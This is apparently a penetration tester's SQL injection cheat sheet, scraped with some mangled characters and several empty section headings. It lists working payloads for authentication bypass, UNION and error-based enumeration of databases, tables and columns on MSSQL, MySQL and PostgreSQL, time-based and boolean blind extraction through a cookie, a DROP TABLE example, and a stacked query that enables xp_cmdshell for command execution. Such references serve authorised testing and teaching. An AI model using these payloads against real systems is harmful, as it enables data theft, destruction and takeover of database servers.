SQL Injection
note
Think outside the box for injectable parameters. Anything that could be passed to a db is worth testing against. ie UAs, cookies, etcโฆ
note
when fuzzing for SQL injection, try 1. replacing valid data with payloads, 2. appending payloads to the end of valid data
note
Be very careful with SQL injection payloads, likely potential for DOS, ask for permission if you find something.
Key Delimiters and Enclosures
'
,"
: Standard string delimiters. E.g.,' OR '1'='1
\\: MySQL identifier quoting. E.g.,
column= 'value'
`;
: Statement separator. E.g.,SELECT * FROM users; DROP TABLE users;
-
,/*...*/
: SQL comments. E.g.,-comment
,/* comment */
Injection Patterns
- Basic Injection:
' OR 1=1--
- Closing Brackets: Try closing out functions or statements. E.g.,
')
,'))
,')))--
,%'))-- -
- Logical Operators:
OR
,AND
. E.g.,' OR 'x'='x
- Union Injection:
' UNION SELECT ... --
- Conditional Time Delays (for blind SQLi):
- MySQL:
'; SELECT SLEEP(5);--
- MSSQL:
'; WAITFOR DELAY '00:00:05';--
- Oracle:
'; dbms_lock.sleep(5);--
- PostgreSQL:
'; SELECT pg_sleep(5);--
- MySQL:
- Out-of-Band: Through DNS or HTTP. E.g., DNS lookup triggered by SQL query.
Enumerate DB Type
https://portswigger.net/web-security/sql-injection/cheat-sheet
PostgreSQL: SELECT pg_sleep(10)
MySQL: SELECT SLEEP(10)
Oracle: dbms_pipe.receive_message(('a'),10)
Microsoft: WAITFOR DELAY '0:0:10'
Automated
See SQLMap cheat sheet
Cheat Sheet Per DB Type
Basic
Logical or
Union - Enum number of columns Now that you know number of columns, return any query results Column types must match in union select. https://portswigger.net/web-security/sql-injection/cheat-sheetBlind
manual logical value extraction - Compare results against passed char, if response does not change, we have a valid char
Cookie: session=2345234r346326sdfsg' and substring((select version()), 1, 2) = '7.'#
Cookie: session=2345234r346326sdfsg' and substring((select version()), 1, 3) = '7.0'#
Cookie: session=2345234r346326sdfsg' and substring((select version()), 1, 5) = '7.0.3'#
Second-order
Injection achieved when query is executed not at the injection point, but when the query is retrieved.
- Signup endpoint, you signup with the user ' or 1=1-- -
and the query only returns data when you navigate to the โaccountsโ page after your user is created.
MSSQL
List databases
Normal
Error basedcast((SELECT name FROM sys.databases ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) as integer)
List Tables:
Normal
Error based`cast((SELECT TABLE_NAME FROM exercise.information_schema.tables ORDER BY name OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY) as integer)
List columns
Normal
Error basedcast((SELECT+column_name+FROM+exercise.information_schema.columns+where+table_name+%3d+'secrets'+ORDER+BY+name+OFFSET+0+ROWS+FETCH+NEXT+1+ROWS+ONLY)+as+integer)
Command Execution
Normal
To use xp_cmdshell
for command execution, it first needs to be enabled by a user with administrative privileges:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
SQLi Just like before, you will need to enable the privs first, sometimes they may be enabled by default:
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
MYSQL
List databases
Normal
Error based (32 character limit)
' EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET 1)))--
List Tables
Normal
Error based' EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name' LIMIT 1 OFFSET 1)))--
Union Based
' UNION SELECT TABLE_NAME, NULL FROM information_schema.tables WHERE table_schema = 'database_name' --
List columns
Normal
Error based' EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 1 OFFSET 1)))--
Union Based
Stacked Queries:Read Files:
Normal
SQLiWrite Files:
Normal
SQLiPostgres
List databases
Normal
Error based Union Based Stacked QueriesList Tables:
Normal
Error based' (SELECT CAST((SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' LIMIT 1 OFFSET 1) AS integer))--
List columns:
Normal
Error based' (SELECT CAST((SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 1 OFFSET 1) AS integer))--
Read Files:
Normal
SQLiWrite Files:
Normal
ORACLE
List databases:
Normal
Error based
Union Based Stacked Queries:List Tables:
Normal
Error based Union Based Stacked Queries:List columns:
Normal
Error based Union Based Stacked Queries: